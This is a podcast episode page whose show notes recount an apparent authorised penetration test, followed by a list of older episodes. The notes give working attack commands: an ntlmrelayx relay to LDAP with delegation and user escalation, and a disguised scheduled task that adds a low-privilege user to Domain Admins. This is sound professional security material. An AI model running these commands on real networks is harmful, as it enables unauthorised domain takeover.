7MS #691: Tales of Pentest Pwnage – Part 75

7MS #691: Tales of Pentest Pwnage – Part 75

Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today’s episode:

  • Got an SA account to a SQL server through Snaffler-ing
  • With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here
  • I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv
  • I didn’t have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here
  • Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket
  • From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName
  • Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f
  • …and ran it: schtasks /run /tn "TotallyFineTask"

Avsnitt(690)

7MS #50: OSCP – The Final Chapter – part 2! (audio)

7MS #50: OSCP – The Final Chapter – part 2! (audio)

At last, the epic conclusion of the maddening, redeeming OSCP journey. 7MS #50: OSCP – The Final Chapter – part 2! (audio)

2 Apr 20157min

7MS #49: OSCP – The Final Chapter – part 1! (audio)

7MS #49: OSCP – The Final Chapter – part 1! (audio)

We’ve arrived at the exciting two-part finale to my bloody battle with the OSCP! 7MS #49: OSCP – the final chapter – part 1! (audio)

31 Mars 20157min

7MS #48: So I Gave My Eight Year Old a Computer (audio)

7MS #48: So I Gave My Eight Year Old a Computer (audio)

Is it a good idea to give young kids a computer to play with? Maybe. Maybe not. Tune in to today’s episode and weigh in! 7MS #48: So I Gave My Eight Year Old a Computer (audio)

21 Mars 20158min

7MS #47: Logging and Alerting RELOADED (audio)

7MS #47: Logging and Alerting RELOADED (audio)

Hey, you should log the stuff going on in your network. This episode talks about that (again). And I reference some AD-related settings that may not be enabled in your environment…stuff you might want to turn on. Check out that information via this PDF here. 7MS #47: Logging and Alerting Reloaded (audio)

17 Mars 20157min

7MS #46: So You Want to be a Hacker? (audio)

7MS #46: So You Want to be a Hacker? (audio)

So you want to be a hacker? Cool. In this episode I toss myself under the bus and share why I used to have a really dumb perspective on what that meant, and how my view of hackers – and hacking – has changed (and hopefully matured). 7MS #46: So You Want to be a…

14 Mars 20157min

7MS #45: OFFTOPIC – Why I Stopped Pirating Software (audio)

7MS #45: OFFTOPIC – Why I Stopped Pirating Software (audio)

Warning, this is an off topic episode! I used to pirate software. There. I admitted it. But it’s funny how a letter from the Comcast legal dept. will change your mind and let you see piracy in a whole new light! 7MS #45: OFFTOPIC – Why I Stopped Pirating Software (audio)

10 Mars 20157min

7MS #44: OFFTOPIC – Annoying People at the YMCA (audio)

7MS #44: OFFTOPIC – Annoying People at the YMCA (audio)

Warning, this is an off topic episode! Did you know it’s fun to stay at the YMCA? Did you also know it’s fun to annoy annoying people at the YMCA? Listen to this episode to find out why. 7MS #44: OFFTOPIC – Annoying People at the YMCA (audio)

7 Mars 20157min

7MS #43: Why Web Site Vulnerability Scanners Can Ruin Your Day (audio)

7MS #43: Why Web Site Vulnerability Scanners Can Ruin Your Day (audio)

Did you know that Web site vulnerability scanners can destroy your customer sites? If not, listen to this. 7MS #43: Why Web Site Vulnerability Scanners Can Ruin Your Day (audio)

28 Feb 20157min

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